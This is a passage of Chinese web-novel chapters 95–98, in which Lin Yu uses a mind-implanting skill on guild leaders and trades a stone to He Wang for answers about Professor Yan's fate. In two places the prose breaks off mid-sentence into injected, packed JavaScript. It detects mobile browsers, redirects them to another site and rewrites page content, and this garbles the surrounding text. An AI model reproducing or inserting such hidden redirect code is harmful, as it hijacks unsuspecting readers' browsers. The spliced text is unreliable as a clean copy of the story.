不过,林屿并不指望能拖住多久,她只是想给各大公会提个醒:有玩家想对白塔动手。 别管手能不能动成,上回崩塌伤亡的悲剧还历历在目,会意了且有良心的自然不会把人命往里面填,没有良心的等她去“聊聊”也会有良心。之后何芝就可以趁机游说,骗人过来合作了。 不过首先,她要挨家挨户上门“拜访”一下。 …… 林屿第一个去的是黑蜘蛛公会。 她们是这个带阳台大平层的提供者,给了种植者联盟一个栖身之地,楼是她们建的,楼下是疑似她们眼线的租户,那么在执行计划之前,说服东道主显得十分必要。 而且,林屿认识的蓝虹蝶就是会长的妹,有人总要好说话一点。 最后也最关键的一点:谁让她们的据点离得最近呢? 林屿知道高羽函——黑蜘蛛公会的会长在哪个办公室办公之后,直接从阳台上找好位置,催动飞行技能,像是开着战斗机跑到没有制空权的领地一样飞了过去。 监视大楼的人只看到一道黑影掠过,眨眼的功夫就不见人影,弄得她们疑心眼花,不知道该不该上报。 林屿降落在楼顶,对角线上放风的守卫就想上前捉人。 只见来人理了理衣角,深黑的眼睛看了她们一下,随后两人忽然一脸迷惑,摸了摸脑袋站回原位去了。 “我怎么站在中间?” “不知道,可能中邪了,我也是。” 两人交流了一句,回到她们的对角线墙角。 【你们没有看见任何人。】 这是林屿“给予”她们的意念。 找到入口之后,林屿用顺到的钥匙进到大楼内部——楼顶的防守总归比楼下松散,她需要耗费的精神力更少。 她没有在脸上做什么伪装,就这样顺着楼梯往下走,走着忽然自嘲一笑,摇了摇头。 本来以为是个废物技能,没想到这才是它真正的用法——不是挪动几个钥匙几个刀子,而是操控他人的精神。 “给予”,即给别人东西,可谁说赠与不是剥夺? 给予他人衣食,让他人失去离开的能力,给予他人情感,让他人失去感知的能力,给予他人思想,让他人固守执念,一叶障目。 这个真正源自她自己的技能一点也不舍己为人。 林屿没有避着人,黑蜘蛛公会总共有一百多个成员,但只要她们不天天一起上课,就不可能完全熟悉彼此。 高羽函的办公室在三楼,不上不下,她必须往下走两层台阶。 四楼。 三楼。 林屿来到走廊。 “林、林屿姐姐?” 林屿蓦地扭头。 周琪琪拉着姐妹迎面走来,震惊地看着来人。 “你也换公会了吗?” 她的声音很大,周围有几道目光看了过来。 是了,何芝说过,她让外围成员自行决定要不要加入黑蜘蛛了。按照两个公会的福利标准,黑蜘蛛无疑是更好的去处,周琪琪和陆泡泡两姐妹有什么理由不在这里呢? 林屿含糊地嗯唔了几声,果断把话题拉远,“泡泡恢复得不错,你现在没事了吧?” 陆泡泡点了点头,表情虽然还有些畏怯,但比起之前惊恐发作的模样已经好了太多,看样子那阵恐惧已经过去,虽说正好可以趁机打探点小黑屋的消息,但林屿不想再引人去想不快之事,于是没提。 “那就好,这里的福利比种植者好,你们可以安心留下来,不用像之前那样担惊受怕了。” 林屿一边说话一边留意周围,先前打量的几个人在看到她们“相谈甚欢”之后,已经把目光移开了。 周琪琪用力点头,“是啊,这里一天一顿饭的福利确实很好!” 陆泡泡看着兴奋的堂姐,小声接话道:“除了一点,就是要收会费,交积分,后天又是收费的日子了,我们还得赶在之前进一次副本。” 说到这个周琪琪也愁眉苦脸了,“唉,有得必有失吧,不过我听说副本入口被一群人围了,大家都在猜是哪个吃饱了撑的没事干撺掇的,也不知道想干嘛,希望在明天之前散了吧。” 吃饱了撑的没事干的林屿:“……万一散不了呢?我先借你们吧。” “不了不了。”周琪琪连忙推拒,“也没定那么死,这种情况可以打报告通融的,会长人很好,我们之后补上就好。” “好吧。”林屿不再多说什么,“我正好有事找‘会长’,先走一步。” “在那边左转第一间——别走错了!”热心群众周琪琪在背后指路。 林屿扭过脖子侧对她一点头,背影随即没入拐角之后。 …… 高羽函坐了大半天办公室,今天的事情格外多。 昨天才和何芝谈过白塔,今天副本广场就被人围了,导致这会儿的时间就收到十几份会费延期申请,明里暗里打探情况的成员和熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见她从光圈中出来,有个衣服相对整洁的人走过来,似乎专门负责交涉。虽然这人面色灰暗憔悴,一看就是那种不能适应“游戏生活”,因此缺积分买不起食物的人,但说话很有条理,在现实世界受教育程度应当不低。 “通关副本,你一定很累了,我们送你离开。” “抱歉不能让路,需要委屈你这样出去,这是刚刚送来的板子,您可以坐或站在上面,他们不会碰到你的。” “不是哗众取宠或者妨碍大家,我们也是受人委托,原因可以回去问,各个公会应当会陆续收到消息。” “我只是一个办事员,雇主是谁并不清楚。” 张静依问得口干舌燥,也没问清楚他们背后的人和这样做的目的。不过公会有消息的话,她大概可以去问问会长,于是让人把她送了出去。 包围圈外侧各式各样的人翘首以盼,情报贩子,公会探子,路人,被拦住的玩家,吵闹得像菜市场一样,张静依听了几耳朵,全都是些离题万里的废话,已经偏到那些“人墙”有多少天没有洗澡了,于是加快脚步回到公会。 一进门就直奔三楼会长办公室。 95.第九十五章 “我明白你的顾虑,无法百分百保证攻破白塔就能找到出路,而一旦判断错误,所有玩家将面对极高的风险。” 林屿和高羽函谈了有一会儿了,她没有直接“给予”这位会长改变立场的想法,只是让她别对自己出现在这大惊小怪,然后一步一步试探她反对的原因。 毕竟人脑每天都会自动产生大量想法,绝大部分都会被弃之脑后,留下的只有能与事实产生联系的,合理的那些。比如不想起床时会想炸学校,这就是不具有操作价值的,所以也只是一闪而过。 她需要做的就是找到症结,然后在高羽函脑袋里植入“合理的想法”,诱导她改变立场。 高羽函看上去非常生气,“极高的风险?如果白塔没了我们副本失败就会送命!现在被关进去的人也都出不来!对你们来说是极高的风险,因为有别人来做垫脚石!” 林屿倒是没有料到她反应这样大,她并不需要直面风险,公会的会长通常情况都不需要亲自下本,她的共情不该这样深。 那为什么会这样愤怒呢? “你怕我们二话不说就动手?” 高羽函的眉毛高高扬起,“你们言教授不就这样没的吗?上回的事与他肯定脱不开干系,为了个虚无缥缈的出口把自己折腾没了,现在整个公会都折腾倒了,不是我说,你,还有何芝,你们全部都该现实一点了,回去告诉何芝把那边撤了吧。” 林屿窝在待客沙发,目光定在高羽函的墨水瓶上,瓶口的蓝色丝带系成蝴蝶结,沾了点墨水,是整张性/冷淡办公桌的一点生活气。 “在达成一致之前,我们并不会动手,不让玩家入内只是未雨绸缪而已。”林屿说道,“你不用担心蓝虹蝶还没出来,白塔就倒了。” “你……”高羽函没料到她会这么说。 你怎么知道她没出来? 林屿心说她要是在公会早就看到人了,也不解释,只是意外这个同父异母的姐姐真的关心妹妹,不过像这样的急性子就算心里关心也像极了管教,大概平时说话也没个好态度,所以蓝虹蝶觉得她们关系不好。 “如果蓝虹蝶出来了,你愿意加入我们吗?” 高羽函:“那要看你们胜率多大。” 林屿心说自己又不是人工智能,还带估算胜率这功能,于是随便报了个数,“百分之四十九。” 高羽函:“?” 林屿:“不到一半。”不到一半统称为百分之四十九。 高羽函勃然大怒,“那你们还敢拉人入伙?” 林屿:“不低了,创业的成功率是这的十分之一。” 高羽函:“……” 林屿见人一时间被气得不想说话,等她喘匀了气再道:“出路哪有那么容易就蹦出来的,如果你真的想离开这里,只能做出选择:维持现状,或是接受风险搏一把。不过我也有话想问你,维持现状真的就毫无风险了吗?你们公会有失踪过人吗,那种和队友一起被惩罚,但队友已经从小黑屋回来自己却没回来的。” 高羽函沉默。 林屿:“再提醒你一句:蜘蛛不吃素。” 高羽函的抗拒有所松动,就在此时,走廊响起急促的脚步,随后张静依一把拉开了房门。 “会长!你知道白塔被围的事吗?” 林屿和她面面相觑。 黑裙女人……第一个副本的黑裙女人怎么在这? 对了,她曾经说过自己属于黑蜘蛛公会。 “你……可是……楼下不是说今天没有访客吗?” 糟了,要被发现是偷摸进来的了! 林屿捏了半天的技能,终于在此刻滥用了。 …… 第一回“说服”在最后迫不得已开大的情况下解决了,在张静依出现叫破她闯入者的身份之前,林屿立刻用“给予”为她植入了一段虚假记忆,让她自己混乱起来,然后再诱导高羽函,放大白蛛的危害,让她以为除了打破世界的边缘之外没有别的活路。 然后回来之后休息了一天才恢复精力。 再之后她对潜入小心再小心,终于不需要把大量精力放在抹除不相关者违和感这样的小事上,等到影响完何芝名单上的会长,林屿感觉脑子像被掏空,之后三天都感觉昏天黑地的,也没心思关注事情进行得如何。 在修复精神力的时候,她有时也会捏着石头,但或许是状态不佳,也或许是她已经熟悉了这个东西,触碰时不再有那种失控感和全能感,当然,也没有出现什么副作用。 在各会长认同白塔倾覆计划之后,接下来就是何芝的事了,由她来制定计划,安排袭击时机和人手,以及最重要的,让这些人维持合作。白塔下拦人的阻力小了很多,现在几乎没有人进本,原先被关的人也陆陆续续出来了。 只除了一个组织:玩家公会。他们失去首领,但仍然不认同这个计划,他们真正把自己当成“玩家”,认为在这里的一切都是磨炼,等到技能致臻化境就可以破除基因锁或是羽化登仙——如果不是没有投诉渠道,他们早就把一切都捅给系统了。 临近唐瑜妡被释放的日子已经很近,种植者联盟内部已经如临大敌,各项应对措施列了一箩筐,生怕计划功亏一篑。 除了这个,接近一周过去,进入“缝隙”的言教授一点消息也没有,很难让人往好的方向去想:或许他已经被抓住,重新成为听从命令的NPC了,或许他遇到了无法抵抗的危险,连只言片语也没机会留下,或许其中什么东西也没有,被身后跟上去的愤怒NPC撕碎。 不管如何猜测,“缝隙”的危险评估又高一截,何芝已经拒绝韩舒的探索请求很多次了。 林屿没有和队友说已经升级为“思想植入”的技能,但感觉何芝大致已经猜到,之前她这个刑警老油条去都没说服那些人,而一个没出过社会的学生崽子一去,那些胆子比耗子还小,不见兔子不撒鹰的会长们纷纷同意,怎么看怎么有问题。 但何芝没问,林屿也没管。 她总有种感觉:只要自己一进小黑屋,必定会成为蜘蛛口粮。 暴露的风险比不上性命攸关。 关于白蛛选择食物的问题,言教授笔记本没有写,大家也没推理出结果,但林屿莫名觉得,其中一条应该就是技能者,而且越是密切接触过石头的技能者越危险。 她拿出两块石头,一块是从董事长“爱人”脑子里掏出来的,一块是经理假牙上的,林屿摸索着裸露的半透明石头,终于拿出那张联系贺望的纸条。 【一块石头,三个问题。】 几乎是她落笔的同时,回复浮现。 【成交。】 林屿略有些惊讶他回复速度,传信纸又不是手环,还带消息提示的震动功能,这就像邮箱——传统邮箱,有实体的那种,只有当人想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156757|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来才会查看一下。对于一直空着的邮箱,大部分人可能都忘了还有这个东西。 所以他是天天守在纸条边上吗?她脑子里冒出了苦守寒窑的悲情贺望。画面刚一浮现,林屿浑身一个激灵,连忙摇头把这个想法抖出去。 【我过不来,你来白城找我。】 【好。】 …… 林屿坐在床上等了一会儿,和白花花的墙面干瞪眼,几乎要瞪出斗鸡眼人还没来。她心说贺宝钏还没影自己先成林宝钏了,估摸着这会儿时间他是来不了,于是走出卧室透气。 “老师是为了替我们探路,你不能把他放在一边不管,你有没有想过万一出了什么事,正等着我们帮一把手呢?万一他有其它的发现!” 韩舒追着何芝的背影喋喋不休。 “何姐,当初老师让你做接班人我完全没有意见,但你也不能眼睁睁看着前首领陷入险境啊!” 何芝挽着袖口,从盆里打了一碗饭,搁下勺子递给他,“教授说了有事会给你发消息,但他没有发,或许他根本没遇见问题呢?” “但也不该一句话都不说!”韩舒接过勺子丢回盆里,看样子是吃不下饭,只想吵架。 何芝没理他,自顾自找了个位置坐下,而韩舒也不出所料跟了过来。 “何姐,你不管了吗?” 一个声音加进来,“因为管不了啊!” 林屿也端了一碗饭坐下,对门神一样杵在前面的韩舒说道:“你自己说的,‘缝隙’分不清上下左右的方向,五感失灵,那么多NPC进去了连个水花也没有,要是真的能在里面找人,何姐怎么可能不就言教授?只有一个原因,我们没有办法。” “可我上回不好好回来了吗?”韩舒反问。 何芝抬头,“你只在入口转了一圈,还有杨紫陶的技能护航,运气好罢了。可她的技能最远就这么远,一旦离开,你就永远找不到出口。萧谷亮是运气好遇到言教授,你呢?” 韩舒垂头丧气地走了,林屿在他欲言又止煎熬犹豫的时候已经吃完了一碗饭。 “何姐,我想问一个问题。” “什么问题?” “如果白塔不是出路,我们公会是不是就没了?” 如果这次行动失败,那么种植者联盟将没有立足之地,会被别人的唾沫星子淹死,以后再也无法说动任何人了。 何芝为什么也这么急,她办事毛躁提前“围塔”就算了,何芝为什么应和她的做法,急匆匆地敲定一系列事,生怕多准备一会儿的样子。 何芝放下一粒米也不剩下的饭碗,长长的呼气像是叹息,“你还记得我们之前的讨论吗?蜘蛛不能说话,那么一直发布公告的是谁?” 林屿:“你是说有幕后人?” 何芝:“是的,我不得不防备这一点,所以必须以最快的速度拿下白塔,否则就不知道有什么在等我们了。” 林屿:“如果失败了呢?” 何芝露出一个无关喜悦的笑容,“我会带人进入白塔,看看这个传说中的小黑屋究竟是怎么回事,到时候只有一个选择,就是找到离开的路。” “哦。”听到首领赶着送死的言论,林屿与何芝预料的一样平静,完全没有大呼小叫说什么组织离不开你,千万不要冲动自寻短见之类的屁话,只是平静地问了一句,“那你找好继任者了吗?我推荐我自己。” 96.第九十六章 篡位不成反被敲栗子赶回去休息的林屿回到自己那张一米宽的窄床,心说这大平层名不副实卧室建得像员工宿舍,不过也正因为这样才能装下这么多成员,虽小但量大管够,她闭上眼,回想着这回行动的始末。 已知副本世界源自现实中的游戏,玩家在里面会进入一个模型,那么他们的身体又在哪里?究竟是精神进入模型,还是整个人进入模型? 现实世界还没有真正的全息游戏,如果一切源自现实,那么应当不会超出当前人类科技,没有精神接入虚拟的技术,也就是玩家只能连人带魂凑个整,那么模型是以什么原理保护玩家肉身的? 已知白城是蛛网上的城市,玩家以真身在里面生活,但从还能打开系统背包这一面看来,白城并不完全存在于现实中,或许是位于现实与虚拟的夹缝,某些重要的建筑恰好连通两界,比如白塔——原始白城唯一的标志物。加上言教授两回深入留下的信息,白塔确实是有最大可能的突破口。 但突破了白塔之后,究竟是能找出离开的缺口,还是会得到未知的灾难,没有谁能预测。如今各公会已经得知白蛛与世界构成的事,以后所有人的目光都在白塔上,就算不是这次,白塔也迟早会被弄塌,但下回就没有人事先等玩家全部离开了。 除了这些已知,还有很多未知。 “游戏系统”为何一直坚持单向联系,只发布公告,不与玩家对话?是背后的人怕暴露自己,还是根本没有背后的人? 但是白蛛就算进化出了智慧,也不太可能学会人类的文字,给玩家发布公告的究竟是什么东西? 言教授已经是灵魂状态,应该没有什么害怕的事了,为什么不再一次去小黑屋探索,反而要从“缝隙”里寻找出路?是副本NPC没机会进小黑屋了,还是他认为“缝隙”可能是另一个出路?他为什么没有留言? 他有传信纸,无论副本内外,简单动几下手指也能记下见闻。 还有石头和贺望,这两个都神神秘秘,让人分不清虚实,一个似乎是技能的起源,一个疑似来自外星,看着都不是什么好东西。 就在林屿闭目复盘复得快睡着的时候,呼吸明显急促了片刻,随后大脑一瞬警醒。她睫毛颤动,眼珠在眼球下方不安地滑动,嗅、触、听三种感觉以一种神秘的灵感联合在一起,共同掀翻了第六感的锅盖。 有人来了! 林屿猛地坐起身,睁开眼,关门的气流带来一小股凉风,高大的金瞳男人似笑非笑,站在床边。 “这么久不联系,我还以为你把我忘了。”他说。 林屿不乐意仰头看着他,往椅子那边一指,“坐下说话。” 贺望从善如流,等到他叉开腿反着坐在椅子上,两只手臂枕在椅背上看过来时,几乎让她陷入一瞬恍惚,仿佛昨日再现,回到第一个副本。 林屿很快回过神,端正坐姿,放下双腿,让自己看上去像是坐在会议室而不是卧室,这才问道:“你同意了我的交易?” 贺望:“不然我也不会来。” 林屿沉吟片刻,“那好,我们可以现在开始,不过话先说好,你一定要知无不言言无不尽,不然问题就不算数。” 贺望:“好。” 他回答之后忽然偏过头笑道:“你就这么急,一句闲聊话也不肯说?” 林屿沉默以对,能说什么呢?你这样想尽办法地隐瞒,如此讳莫如深,不就是为了隐藏身份,不让人群发现异类吗?在自己交出记忆之后,他就再也没有回来看过当年那个遭受家暴的小孩。纵使有一千个问题想问,他也不会回答。 “好吧,那开始吧。”贺望投降般地说道。 他似乎并没有考虑回答过后被赖账的可能,不过林屿这回并不打算骗人,也不认为他没有防范手段,于是拿出了属于经理的那块“石头”,贺望的目光一下子就被吸引过去了,片刻后恋恋不舍挪到林屿脸上。 “只要你好好回答,它就是你的。”她抬头问出了第一个问题,“如果我想深入缝隙,该用什么办法分辨方向?” “缝隙?”贺望只反应了很短的时间,就知道她指的是什么,“看来你也注意到这个部分了,如果别人问这个问题我会回答没有办法,但问的人是你……你可以利用‘人’来定位。” “‘人’来定位?” 贺望:“你让同伴——或者NPC都行,守着你进来的入口,在里面你可以‘看见’他们,不会丢掉来时的路,至于能走多远,全看你愿意走多远。” 毫不意外,贺望知道她有另一种视野,那还是他交换给她的,所以在里面只能用这个视野去看? “你是说缝隙里面没有障碍,只需要往前走就可以?” 贺望:“这是第二个问题吗?” 林屿:“不,这属于对你刚才回答的解释。” 贺望似乎在考虑该透露多少给她,沉吟了一会儿,“当然不是,缝隙里有很多岔路,你同样可以利用‘人’来定位,全看你能看清多远距离,如果你能看得远,就知道岔路通向哪里。” 林屿试着描述自己的理解,“玩家是光点,NPC是暗点,而副本是分开的,光点和暗点扎堆的地方就是一个个副本……” 贺望欣慰道:“你的理解是对的。” 林屿:“……那没有光点的地方通向哪里?” 贺望一噎,“没有光点的地方没有路。” 林屿:“通往哪里?” 贺望直起身子,眉眼间距肉眼可见地变窄,那是他上心的信号,“我只需回答‘怎么认路’,这是第二个问题了,你确定问这个吗?” “第二个问题。”林屿说道,“言教授怎么样了?” 她刚一说完,对面的男人就眯起眼睛,于是她补充道:“你不知道的话我可以换问题。” “算了。”半晌后,贺望轻轻啧了声,“你的问题一个比一个刁钻,看来要得到石头光动动嘴皮子还是不容易啊!” “我本来可以要五个或者十个问题的。”林屿反驳,“只要了三个,你为什么不能好好回答?” “本来超出三个我也不会同意,这里技能不值钱,情报 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通常来说一个人光团的亮暗在生命大部分时间都是既定的,他们悲观还是乐观,平静还是易怒,活力满满还是死气沉沉,在生命初期就已经定下这些基调,初遇林屿的时候,她的年纪已经是基调趋于稳定的时期。 “光团”是他们种族辨认个体的方式,比人类的面目特征还准确,却在林屿这里失效了。 可她不像是经历大变故的样子。 “……所以你知道言教授的去向吗?”林屿的声音延迟地淌进耳膜,贺望后知后觉,压下眼底复杂的情绪,欺身向前,伸手盖住她的眼睛。 “别动,我给你看答案。” 林屿依言放下手,闭上眼睛,似乎对他的做法有所觉察,“你要交换什么?” “你的焦虑。”他话语一落,林屿脑海里盘桓的乱七八糟的念头便被一一安抚,有关同伴生命,有关未来去处,有关自身安危,这些声音吵得她不得安宁,终于短暂地平息下来。 “不是永久的,我的技能还可以单方面变成‘分享’,所以我不会失忆,而且也不想多一倍‘焦虑’——尤其是你的。” “……那真是不错。”林屿勉强夸了他一句,“‘焦虑’是人面对生存危机时发展出来的一种反应模式,我不希望失去这种模式,没心没肺地继续很不对劲的生活。” 她语调上扬,似乎很满意这个交易外附赠的彩蛋,心里却在说:哦,原来如此,他可以自由控制是“交换”还是“分享”,真是了不得的情报,似乎很多疑问都可以解答了。 她又想起登山副本里循环无尽的下山路,猜想这又是“交换”了什么得到的效果,对了,首尾相连,交换一段路的首尾,不就人为制造了一个循环吗?就是不知道实物交换有没有“分享”的效果。 “不会失去的。”贺望嗓音悦耳,比起乙游男主的声线也毫不逊色,可惜差在口无遮拦,“你就像一个焦虑和痛苦的集合体,没了这个焦虑还有那个呢,要是都没了你人也已经没了,实在不用想那么多。” 林屿咬牙切齿:“我真是谢谢你。” 互相拆台抬杠间,一段记忆缓缓地在脑海里伸展成画面,林屿看到了“缝隙”里的言教授。 97.第九十七章 “缝隙”里光线昏暗,人进去几乎看不清路。 言教授八成是第一次来这里,虽然走在人群前面,但脚步磕磕绊绊,往前伸的手掌在空气中抓握,时不时撞到一些石块墙壁等障碍物,每走几步就要跌一个跟头。 没多久,他身上得体的礼服就变得脏兮兮的,布满剐蹭的破口。 不过他也不是毫无准备,他带了手电筒,只不过光打出去了没什么效果——对认路没什么效果。路面起伏毫无规律,脚下坑洞的出现也毫无规律,已经有好几个跟来的人嚎叫着掉下去了,剩下的人开始慌乱,有的想要返回出口,然而根本找不到回头路——进来之后,他们的方向感已经被扰乱了。 林屿暗暗捏了一把汗,心说大名鼎鼎如雷贯耳特别爱折腾的言教授别最后折在万里征程的一开头,他要是有事,韩舒该怎么活啊! 大概是听到了她的心声,形容狼狈的言教授一点不慌,安抚好人群之后,带着他们就往一个方向走,仿佛知道那里是出口一样。 看到这一幕,林屿有了猜测,技能——言教授的技能是弱点分辨,他是利用视力来“看”弱点的,无论对人还是对物,都可以发现其薄弱之处,而“缝隙”空间的薄弱之处不刚好是缺口吗? 这个技能和她的双重视野类似,那么他很可能知道往哪里走安全,也知道地面哪一处不能落脚。 林屿羡慕极了,毕竟她的另一重视野无法分辨暗坑,只能看“光团”,如果她进去必须特别留意地面。 言教授虽然老是被石头绊脚,但一个坑也没掉,甚至会事先提醒那些人别踩某个地方,有不信邪的刺头搬起一块石头往那边砸,看上去平整的地面霎时塌了个一人大小的坑洞,好几秒后才听到土块落地的声音。 刺头顿时老实了,之后的行程一切顺利。 林屿望着大部队的背影,心里想着好你个贺望,一看就是早有预谋地混进言教授队里,简直心思叵测。 经过乱石滩之后,周围的泥土逐渐湿润,前面很快出现了一个水潭。一个人形物趴在岸边,脸向着水,半天没有动弹,像是一具死尸。 ——萧谷亮。 林屿一下就认出了这个倒霉蛋,等言教授上前查看之后,他就让队伍等一等,自己扛着人往回送了一段路。 再次回到水潭边,言教授指着水底,队一帮面色各异的死灵——NPC们说道:“接下来要走水路,愿意跟来的就下水。” 这时终于有人忍不住了,问道:“你确定?你真的知道路吗?” 有人附和,“对啊,别不是想把我们带坑里吧!” “有什么好处吗?”言教授反问,“费尽心思坑你们我能得到什么?还把自己搭进去了。” “那你怎么知道这里有路?” 言教授:“我的技能可以指出方向,在外面时方向在这里,而来到这里之后方向就在水下。” 人们议论纷纷,这时有人问道:“那你为什么愿意带着我们一起,一个人逃掉不是更方便吗?” 言教授笑了,“诸位,我首先发现的并不是离开的办法,而是恢复思想自由的办法。如果没有‘特殊副本’也还好,我们得到自由的这些家伙们依然安全,但情况已经如此,恢复自由表示能够被猎杀,面对同样处境的受害者,要是我真的一个人跑了也良心难安,既然有办法,为什么不多带几个呢?” 这番正义凛然的话一放,大部分人都再不怀疑什么了,就算有也不好表现出来,更不好意思说他们恢复“思想自由”就是他害的,毕竟人家这样自信能走掉,他们还靠他带路呢。 众人纷纷表示愿意跟随,然后与言教授一同潜水而下——反正已经是灵魂了,淹不死。 贺望仿佛知道她的进度,就着捂眼睛的姿势,贴着林屿的耳朵低声说:“喜欢做领导的人都是这样吗?一口冠冕堂皇的鬼话,他带上这些人明明是为了扰乱副本秩序,给白城方面打配合——他一点也不在意这些人如何。” “他也不在意自己如何。”林屿说道。 “哦?” 林屿的视线追着他们潜水,分出心来回答:“因为他们已经死了,生命已经结束,死人没有人权,死人比不过活人,言教授更在意活人的生死。” “原来如此。”贺望轻声说道,“那你们人真是奇怪,明明生前无比自大,却会在死后自动把自己划低一等。” 林屿:“那可不一定,你真是不了解人类。大部分人是反的,死后觉得更高一等,差一步就能羽化登仙,能遇到这么舍魂为人的长辈你就偷着乐吧!” 贺望:“…………” 一时不知道她是在夸人还是在讽刺。 说话间,言教授在水下游了好一会儿。大概实在好奇他说的“出口”在哪里,贺望不再优哉游哉缀着队伍的尾巴,倏然加速,直到视野捕捉到“带路人”才停下。 水下没有光源,一行人就这样不上不下地悬浮着,超出五米人鱼不分,超出十米抹黑抓瞎,深海恐惧刻在每一个人的基因里,就算成了灵魂也不能免俗,有人口吐气泡,已经不敢潜下去了。 然而此时众人在水底的隧洞中,言教授比划几下,意思是很快上岸,于是逃兵们被旁边的人带着继续向前,几分钟后,果不其然头顶没了阻碍,言教授向上浮游,后面的人赶紧跟了上去。 贺望跟着往上游,然而周围忽然多了好些杂音,那是人在水下想说话时鼻腔进水的呛声,他刚想扭头去看,面上突然奇痒,一层纤薄的东西盖在脸上。 他用手一勾,见是个滑溜溜的细长条,在两指间析出一张薄薄的脸。 什么东西? 林屿随着他的视角往周围看,眼睛不由自主瞪大。游在前面的NPC不知遇到了什么,身形逐渐透明,而身体外侧包裹的一张蛛网则越来越显眼,等到人完全消 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作为实体,贺望自然不会像灵魂那样消散,身上肯定也没有那层网,等他浮出水面,恰好看到言教授手脚并用地爬上了岸。他没有看后面有没有人跟上,第一时间拿出传信纸,然而就在写字的一瞬间,传信纸穿过他的手掌掉落在地。 他匆忙去捡,却在碰到地面的同时看到了自己的手背——白色蛛丝缠绕下,已经半融进地面之下。他哀嚎一声,猛地收回手,蛛网如手套一样软哒哒地垂下,半个手掌迎风飘扬。 很快,他整条手臂都变成了没穿进去的丝袜。 然后是半个身子,头是最后完全透明消失的,在一阵风吹走他的“外套网”之前,他似乎仰头笑了一下。 “这就是你要的答案。”贺望移开手,望向她重新睁开的双眼,“知无不言,言无不尽。你满意吗?” “满意。”林屿喃喃回应,眼神没有聚焦,似乎还沉浸在刚才的画面中,“竟然是这样……竟然是这个结局……” 贺望:“所以最后一个问题,不要让我太为难。” 林屿整理了一会儿思绪,她以石头换问题,本意就是在“突破白塔计划”之外找一个PlanB,防备失败后众玩家对团队的讨伐,同时也是好奇言教授为什么放弃原本探索到一半的白塔转而去“缝隙”。现在看来,“缝隙”里极有可能藏着出路,但那段乱石路对于普通人来说过于危险,水下潜行的时间也过于漫长,根本没办法走这里离开,除非技能恰好对应。 但缝隙并不是没有价值,与此相反,它的价值太大了!再艰险的希望也是希望,有了这个消息,可能所有想离开的人都会狂喜发疯,并且想尽办法蹚出一条能走的路。不过对后面的发展林屿不乐观,这里没有约束,技能者很可能会用普通人的命去试路。 所以,这是一条不能向外散布的情报。 “第三个问题?”贺望见她半晌没反应,又轻声问了一遍。 “第三个问题。”林屿回过神来,“不为难你,你只需要回答是或否——你是这一切的始作俑者吗?” 98.第九十八章 贺望轻快的神色如颜料画一般消散,覆盖在脸上的变成了一个坚硬的外壳,用来掩藏他的想法,他眼神难辨,似乎在考虑是如实回答,还是把她掐死在这,最后激烈的心思竟交织出一份平静,“为什么这么问?” 林屿:“没有为什么,恰好想到了。” 她似乎对涌动的暗流无动于衷,像是毫无防备一样说道:“我已经记起来小时候那次见面了,不过你还真是冷漠啊,就那样把我丢给了父母。” “把孩子还给父母,不对吗?” “如果那个孩子的脸上没有父亲巴掌印的话。”林屿笑了,“我睁开眼之后,他们已经商量好对策,从此严苛十倍地管教我,制定了各种琐事的细节——比如睡觉的姿势,上厕所的时间,吃饭咀嚼次数,害怕我真的变坏影响家里的名声,他们让自己变成了变态控制狂。我不光是当年没去成公园的鲜花展,往后每一年都没机会去了。” 贺望的眼睛慢慢睁大,“怎么会?可是他们的光——我是说他们不是那种恶毒残暴的人,道德的平均水准甚至略高于平均线,我本以为……” 林屿:“他们或许有一张友善的面孔,也没有触犯过法律,但没有把我当人看过——这不违法,甚至不违反某些人眼里的道德。或许在你们那里光团好坏象征一切,但我们这里不是。” 看见他百思不得其解的表情,林屿偏了一下头,“想不明白吗?那就不想了,回答我的第三个问题,你是利用白蛛的人,建造白城的祸首,系统背后的主使吗?” 虽然这回问题比刚才长了一大截,但贺望很快给出答案。 “不是。” “这么肯定?” “我不是。” “我相信你。”林屿把包裹着牙釉的石头往他怀里一丢,被人看也不看地单手接住。打量那张俊脸片刻,她心满意足地下了逐客令,“你可以走了。” 贺望手一顿,“这么绝情,用完就丢?” 林屿微笑,“那不然呢?还专门找个可回收垃圾桶去扔?” 贺望明显还想问清楚一些事,“你刚刚说光团亮暗不能表示好坏,能不能详细说说?还有你知道我是异类,打算怎么办,告诉别人吗?” 林屿用三个不拒绝交流,“不能,不怎么办,不会。” “……好吧,那我走了。”他说完还眼巴巴地看着,一副期望她改变主意的模样,但林屿就是想看看他是用什么办法来的,盯着人不接话。 “好吧,好吧,那你千万别暴露我哦,如果我被抓走了,一定会每天晚上从床底下爬出来诅咒你的。”贺望依依不舍,千叮万嘱之后终于后退一步。 “砰”地一声,他一个活生生的人就这样不见了,在原地落下一块石头。 “交换。”林屿对他的技能心知肚明,他肯定在外面某个地方放了块石头,现在人石换位了。 不过他是怎么来的呢? 林屿想到什么,立刻清点自己的物资,但是没发现有遗落。最后,她一抬头,正对着自己一套换洗的衣服,那套衣服是进副本穿的,在领口的位置少了颗纽扣。她曾经穿着这套衣服通关第二个副本,毫无疑问被他接触过。 所以那个时候他就在纽扣上打了烙印,在自己身边留了一道门? 好你个贺望。 不过,她的收获可谓不少。她没有执着于第一回的问题,换了个问法,得到两个答案: 第一变异的肇始与他有关。第二圈养玩家幕后黑手的不是他。 回想起言教授的笔记,里面记载的是变异初始于二十多年前,约二十三至二十七年之间,而自己遇到他是在十九年前,也就是他的到来在十九年之前。 那会不会是他的到来导致的变异? 可他一个陌生异族,也并非全知全能,刀枪不入,有什么能力让全球跟着一起变化?除非有什么东西跟着他一起来了。 石头。 